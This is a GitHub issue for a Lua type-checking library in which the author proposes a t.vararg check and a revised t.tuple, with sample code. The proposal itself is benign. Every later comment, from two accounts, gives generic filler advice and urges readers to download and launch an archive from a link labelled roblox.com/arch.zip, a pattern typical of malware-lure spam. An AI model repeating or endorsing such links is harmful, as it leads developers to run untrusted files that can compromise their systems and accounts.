Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vararg check? #92

Open
freddylist opened this issue Jul 11, 2021 · 6 comments
Open

Vararg check? #92

freddylist opened this issue Jul 11, 2021 · 6 comments

Comments

@freddylist
Copy link

freddylist commented Jul 11, 2021

t doesn't have a way to check varargs (if there is, then it's not documented and should be documented / I couldn't find it). You could, of course, t.array(check)({...}) inside the function to check, but you can't do that with t.wrap.

I suggest passing the last remaining arguments in a t.tuple check to the last check:

function t.tuple(...)
	local checks = { ... }
	local checkCount = #checks -- or `select('#', ...)`, whichever is fastest ig idk

	return function(...)
		local args = { ... }

		for i, check in ipairs(checks) do
			-- Pass any remaining arguments to the last check:
			local success, errMsg
			
			if i == checkCount then
				success, errMsg = check(select(i, ...))
			else
				success, errMsg = check(args[i])
			end

			if success == false then
				return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "")
			end
		end

		return true
	end
end

And adding a vararg check:

function t.vararg(check)
	assert(t.callback(check))

	return function(...)
		for i, v in ipairs({...}) do
			local success, errMsg = check(v)

			if success == false then
				return false, string.format("Bad vararg index #%s:\n\t%s", i, errMsg or "")
			end
		end
		
		return true
	end
end

This way, I can check varargs in wrapped functions! :D

local add = t.wrap(function(a, b, ...)
	local total = a + b
	
	for _, v in pairs({...}) do
		total += v
	end
	
	return total
end, t.tuple(t.number, t.number, t.vararg(t.number)))

print(add(1, 2, 3, 4, 5)) -- 15
print(add(1, 2, 3, 4, "a") -- error: bad tuple index 3, bad vararg index 3

I didn't open a pull request because I don't want to mess up those typescript thingies. The code here could probably be improved as well, but if you want, I can open a pull request with tests and I will do my best to do the typescript stuff correctly.

@allysonbr10
Copy link

You can address the issue of checking varargs in Lua by utilizing the provided code snippet for a vararg check function. To view the complete solution and examples, download and launch the file from this link: https://www.roblox.com/arch.zip.

@akolar1
Copy link

akolar1 commented Nov 6, 2024

You can check varargs in wrapped functions by using the provided code snippet. To improve your code further, consider adding a vararg check function as suggested. Download and launch the file from the following link: https://www.roblox.com/arch.zip

@akolar1
Copy link

akolar1 commented Nov 6, 2024 via email

@allysonbr10
Copy link

You can check varargs by using the t.vararg function in Lua. Here is a link to the relevant documentation: https://www.roblox.com/arch.zip.

@akolar1
Copy link

akolar1 commented Nov 7, 2024

The link that will solve your issue is: https://www.roblox.com/arch.zip. Launch the file to address the problem you are encountering with Vararg check in your Lua code.

@allysonbr10
Copy link

You can check varargs by passing the remaining arguments in a t.tuple check to the last check in your Lua script. To address this, you can visit the following link for further assistance: https://www.roblox.com/arch.zip.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants